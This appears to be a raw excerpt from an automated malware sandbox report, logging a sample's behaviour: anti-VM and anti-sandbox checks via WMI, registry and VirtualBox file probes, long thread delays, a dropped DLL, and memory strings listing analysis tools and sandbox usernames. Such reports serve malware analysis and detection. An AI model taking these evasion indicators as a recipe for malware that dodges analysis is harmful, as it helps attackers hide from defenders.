Source: C:\Users\user\AppData\Local\Temp\Library.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Library.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Library.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Library.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Library.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Library.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Library.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Library.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Library.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Library.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Library.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Library.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\Library.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 00000013.00000003.383001700.0000000003666000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.467467655.00000000035B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: fontview.exe PID: 4020, type: MEMORYSTR

Query firmware table information (likely to detect VMs)

Source: C:\Windows\SysWOW64\fontview.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\fontview.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\fontview.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\fontview.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\fontview.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\fontview.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\fontview.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\fontview.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\fontview.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\fontview.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\fontview.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\fontview.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\fontview.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\fontview.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\fontview.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\fontview.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\fontview.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\fontview.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\fontview.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\fontview.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\fontview.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\fontview.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\fontview.exe	System information queried: FirmwareTableInformation
Source: C:\Windows\SysWOW64\fontview.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 226F.exe, 00000010.00000002.480422025.0000000002F20000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: DLLREGISTERSERVERWKANIMHDMAWWV3SZQXYVBUPQC78ZCSCYZEXUSDVMOYWFSOSYSANDBOXK5IQR5XKKHFI0OIXFMGQKSOZVXBFCBSXP0CQKIPRNCYQHM3WLLXT6CDBBS26ESKV7845SWCP2EBLGWHVHDTWSOGZ9U9CGZZSDH2UM9TZTCXYZLXSGKNIDIWISTXFFJPSHTTP://GEKJEGOUDN6I5FBCES.JOMF6MTOBKL32EAI1QWQXSXPNFYV2SMICROSOFT BASIC DISPLAY ADAPTERAPXALPLEWOMRTXOQBIS5VVQOZJTDWDYPDWOJSVZO2QACQSIOYXZAFZ3U9IKX2BQN6EZZOXJP5PSUZKQMTGHZQELR5EG7GRIMERCTFOUNCFE4BGUM7H3R60PJIOCTMJ0M%LS\%D.DLLQU673JXMPB9XS6BLT0XDS1ALT0EJ5HLLAKOWFXNBJFIIOLTKI8WPBYDTNFYR40QJP9YSA5NKHRYBKS7IXE6TWUFX1EVDSUKHNIFAX TEGAWO NIP XEHN9YXFM4WGP9YUO5HXPMC4XQ1BZLDJLNGVBOXTRAY.EXEVMWARETRAY.EXEWECHAT.EXEVMWAREUSER.EXEFIDDLER.EXEPROCESSHACKER.EXEQQ.EXEPROCEXP.EXERDPCLIP.EXEWIRESHARK.EXEKAWEXI GEQUECI BOVOJ.EXEVBOXSERVICE.EXEVGAUTHSERVICE.EXEVMTOOLSD.EXEPRL_CC.EXEHTTPDEBUGGERUI.EXEHTTPANALYZERSTDV7.EXEPROCEXP64.EXE9VCQBULREEOHDRQECLOUDSAFELINEYQ7T94QZPUDEORTE80URPBYHQ3908APEYCDDGGZJIPRJTKOE8J4WDLLBX1APOW9EVBZ1UO2T2UBMGTUDBSQDYJSBALF5CGVCSFIMBSIBECUOLZPCIK2VP28IR0VTY4TBDYVLFRSD5XNE93CYIIGVV5KBWQ4W2ROU3OQVPIRDLVGRVMVTMQRP5J7SUNTW6WJSCCDMAYGHINOZWAXRSZKCI5FN6D9Y9HJRZHIX2JJ5NDQDFLBQ7GSN9CORX41KRUAQXIHNEOIQB1VONHHQFPG6N3LIJPAESKGQBMH2WFPZKMIH3JPNW2WWL4QOWW0SAVLN7QPQACULBYLOPUMLDJFMGRXYRKQKOVNJKRD4PQP2PQ8FNC7JABGGRSW4W0K7VSSICQYE9JT8N0NVH1MITQSNOGZQBXMIJYLHV2DLCZJ486OVC7EHTPLWZ4NT1DG4JSQGYZCQBMR6MBLZRXJGOXTXCYOA7FBPN0EGH7EX8DG8NSYCSAOGD5G0NV7R0LVA09KGCAWTJO5TB2I2LHAGZRMZ4T0EPASO079GSLJNUY5E4DLIUTNFLXFUZSNAEVRRIGWCHIYUGQ9HHPQODBLBIAQMME3ZWAAGKEJB4GPXYSRTR5EFN43BBTXITK2KKFOG8JCARLOY8GS3RRVRRJNAUFJSZGAKWZM2DEQ8OCWPZQ6O4RIWMRY77FLBKVUSFEYWTPB6Y2CTOYPQLWYAQAY5DNDXG1BSVPPP4JQ5WXP1OQ3Y3DHBZRC5X4KW1CN7YJDB9J450JE0S2RDQL7GXWP4ZKMA4WMYVM2YZR24ZUIL8P9X5RU6F5F2HM4YAEQ4STV1PKJ0
Source: fontview.exe, 00000013.00000003.383001700.0000000003666000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WQLRANDOMRANDOM NAME%THISISANINVALIDFILENAME?[]<>@\;!-{}#:/~%%THISISANINVALIDENVIRONMENTVARIABLENAME?[]<>@\;!-{}#:/~%CMDVRT32.DLLCMDVRT64.DLLWPESPY.DLLVMCHECK.DLLPSTOREC.DLLDIR_WATCH.DLLAPI_LOG.DLLDBGHELP.DLLSBIEDLL.DLLSNXHK.DLLAVGHOOKA.DLLAVGHOOKX.DLLTESTAPP.EXEMYAPP.EXEKLAVME.EXETEST.EXEMALWARE.EXESANDBOX.EXEBOT.EXESAMPLE.EXEJOHN DOEVIRUSTEST USERMALTESTMALWARESAND BOXUSERTIMMYPETER WILSONMILOZSMILLERJOHNSONIT-ADMINHONG LEEHAPUBWSEMILYSANDBOXCURRENTUSERTEQUILABOOMBOOMFORTINETWIN7-TRAPSMUELLER-PCJOHN-PCHANSPETER-PC7SILVIASANDBOXC:\A\FOOBAR.GIFC:\A\FOOBAR.DOCC:\A\FOOBAR.BMPC:\123\EMAIL.DOCXC:\123\EMAIL.DOCC:\EMAIL.HTMC:\EMAIL.DOCC:\LOADDLL.EXEC:\TAKE_SCREENSHOT.PS1JOHNKLONE_X64-PCSYSTEMITADMINSWSCWILBERNUMBEROFCORESSELECT * FROM WIN32_PROCESSORVIRTUALQEMUVMWAREVBOXVBOXVBOXVBOXPARALLELS HVPRL HYPERV XENVMMXENVMMVMWAREVMWAREMICROSOFT HVKVMKVMKVMA M IVIRTUALXEN0PARALLELSVMWARESERIALNUMBERSELECT * FROM WIN32_BIOSHVM DOMUVIRTUALBOXMODELSELECT * FROM WIN32_COMPUTERSYSTEMQEMUINNOTEK GMBHMANUFACTURERPROCESSORIDVMWXENVIRTIOSYSTEM\CURRENTCONTROLSET\ENUM\SCSISYSTEM\CURRENTCONTROLSET\ENUM\IDESELECT * FROM CIM_PHYSICALCONNECTOR06/23/99SYSTEMBIOSDATEVIRTUALBOXVIDEOBIOSVERSIONSYSTEMBIOSVERSIONIDENTIFIERHARDWARE\DEVICEMAP\SCSI\SCSI PORT 0\SCSI BUS 0\TARGET ID 0\LOGICAL UNIT ID 0HARDWARE\DESCRIPTION\SYSTEMVBOXSYSTEM\CONTROLSET001\SERVICES\VBOXVIDEOSYSTEM\CONTROLSET001\SERVICES\VBOXSFSYSTEM\CONTROLSET001\SERVICES\VBOXSERVICESYSTEM\CONTROLSET001\SERVICES\VBOXMOUSESYSTEM\CONTROLSET001\SERVICES\VBOXGUESTSOFTWARE\ORACLE\VIRTUALBOX GUEST ADDITIONSHARDWARE\ACPI\RSDT\VBOX__HARDWARE\ACPI\FADT\VBOX__HARDWARE\ACPI\DSDT\VBOX__SYSTEM32\VBOXCONTROL.EXESYSTEM32\VBOXTRAY.EXESYSTEM32\VBOXSERVICE.EXESYSTEM32\VBOXOGLPASSTHROUGHSPU.DLLSYSTEM32\VBOXOGLPACKSPU.DLLSYSTEM32\VBOXOGLFEEDBACKSPU.DLLSYSTEM32\VBOXOGLERRORSPU.DLLSYSTEM32\VBOXOGLCRUTIL.DLLSYSTEM32\VBOXOGLARRAYSPU.DLLSYSTEM32\VBOXOGL.DLLSYSTEM32\VBOXMRXNP.DLLSYSTEM32\VBOXHOOK.DLLSYSTEM32\VBOXDISP.DLLSYSTEM32\DRIVERS\VBOXVIDEO.SYSSYSTEM32\DRIVERS\VBOXSF.SYSSYSTEM32\DRIVERS\VBOXGUEST.SYSSYSTEM32\DRIVERS\VBOXMOUSE.SYS%PROGRAMW6432%\\.\PIPE\VBOXTRAYIPC\\.\VBOXTRAYIPC\\.\PIPE\VBOXMINIRDDN\\.\VBOXGUEST\\.\VBOXMINIRDRDNVBOXTRAYTOOLWNDVBOXTRAYTOOLWNDCLASSVIRTUALBOX SHARED FOLDERSVBOXTRAY.EXEVBOXSERVICE.EXEPCI\VEN_80EE&DEV_CAFEDEVICEIDSELECT * FROM WIN32_PNPENTITYOPENHCD82371SB82441FX82801FBNAMEVEN_VBOXPNPDEVICEIDCAPTIONSELECT * FROM WIN32_PNPDEVICEPNP_BUS_0PCI_BUS_0ACPIBUS_BUS_0SELECT * FROM WIN32_BUSORACLE CORPORATIONPRODUCTSELECT * FROM WIN32_BASEBOARDSOURCESSYSTEMFILENAMESELECT * FROM WIN32_NTEVENTLOGFILEVBOXWDDMVBOXVIDEOW8VBOXVIDEOVBOXVBOXVIRTUALBOXSYSTEMPRODUCTNAMESYSTEMMANUFACTURERHARDWARE\DEVICEMAP\SCSI\SCSI PORT 2\SCSI BUS 0\TARGET ID 0\LOGICAL UNIT ID 0HARDWARE\DEVICEMAP\SCSI\SCSI PORT 1\SCSI BUS 0\TARGET ID 0\LOGICAL UNIT ID 0SYSTEM\CONTROLSET001\CONTROL\SYSTEMINFORMATIONVMWARESOFTWARE\VMWARE, INC.\VMWARE TOOLSVMACTHLP.EXEVGAUTHSERVICE.EXEVMWAREUSER.EXEVMWARETRAY.EXEVMTOOLSD.EXEVMWAREVMWAREVDSERVICE.EXEVDAGENT.EXEQEMU-GA.E
Source: fontview.exe, 00000013.00000003.383001700.0000000003666000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 00000013.00000002.467467655.00000000035B0000.00000040.00001000.00020000.00000000.sdmp, fontview.exe, 00000013.00000002.467647145.0000000003638000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOK.DLL

Queries memory information (via WMI often done to detect virtual machines)

Source: C:\Windows\SysWOW64\fontview.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM CIM_PhysicalConnector

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Source: C:\Windows\SysWOW64\fontview.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_PnPEntity
Source: C:\Windows\SysWOW64\fontview.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_PnPEntity

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dbjigst	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dbjigst	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dbjigst	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dbjigst	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dbjigst	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dbjigst	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Source: C:\Windows\SysWOW64\fontview.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Windows\SysWOW64\fontview.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BaseBoard

Source: C:\Windows\explorer.exe TID: 4536	Thread sleep count: 405 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4780	Thread sleep count: 944 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 4780	Thread sleep time: -94400s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3596	Thread sleep count: 529 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3596	Thread sleep time: -52900s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3544	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3184	Thread sleep count: 531 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2388	Thread sleep count: 827 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2388	Thread sleep time: -82700s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2336	Thread sleep count: 410 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2336	Thread sleep time: -41000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe TID: 5336	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe TID: 1020	Thread sleep count: 6079 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe TID: 2008	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\dllhost.exe TID: 5556	Thread sleep count: 1744 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1076	Thread sleep time: -11068046444225724s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\336E.exe

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

graph_14-23362

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 405	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 944	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 529	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 531	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 827	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 410	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 876	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 835	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Window / User API: threadDelayed 6079	Jump to behavior
Source: C:\Windows\System32\dllhost.exe	Window / User API: threadDelayed 1744
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 9522

Source: C:\Windows\SysWOW64\fontview.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Windows\SysWOW64\fontview.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\Temp\226F.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5898187.dll

Jump to dropped file

Source: C:\Windows\System32\rundll32.exe	Registry key enumerated: More than 173 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Windows\SysWOW64\fontview.exe	Memory allocated: 55B0000 memory commit \| memory reserve \| memory write watch
Source: C:\Windows\SysWOW64\fontview.exe	Memory allocated: 55B0000 memory commit \| memory reserve \| memory write watch
Source: C:\Windows\SysWOW64\fontview.exe	Memory allocated: 55B0000 memory commit \| memory reserve \| memory write watch
Source: C:\Windows\SysWOW64\fontview.exe	Memory allocated: 55B0000 memory commit \| memory reserve \| memory write watch

Source: C:\Windows\SysWOW64\fontview.exe	File opened / queried: VBoxGuest	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0 name: Identifier
Source: C:\Windows\SysWOW64\fontview.exe	File opened / queried: C:\Windows\SysWOW64\vboxservice.exe
Source: C:\Windows\SysWOW64\fontview.exe	File opened / queried: C:\Windows\SysWOW64\vboxtray.exe
Source: C:\Windows\SysWOW64\fontview.exe	File opened / queried: C:\Windows\SysWOW64\drivers\VBoxMouse.sys
Source: C:\Windows\SysWOW64\fontview.exe	File opened / queried: VBoxTrayIPC	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	File opened / queried: C:\Windows\SysWOW64\drivers\VBoxSF.sys
Source: C:\Windows\SysWOW64\fontview.exe	File opened / queried: C:\Windows\SysWOW64\vboxhook.dll
Source: C:\Windows\SysWOW64\fontview.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosDate
Source: C:\Windows\SysWOW64\fontview.exe	File opened / queried: \pipe\VBoxTrayIPC	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Windows\SysWOW64\fontview.exe	File opened / queried: C:\Windows\SysWOW64\drivers\VBoxVideo.sys
Source: C:\Windows\SysWOW64\fontview.exe	File opened / queried: VBoxMiniRdrDN	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	File opened / queried: C:\Windows\SysWOW64\drivers\VBoxGuest.sys
Source: C:\Windows\SysWOW64\fontview.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\fontview.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\fontview.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\
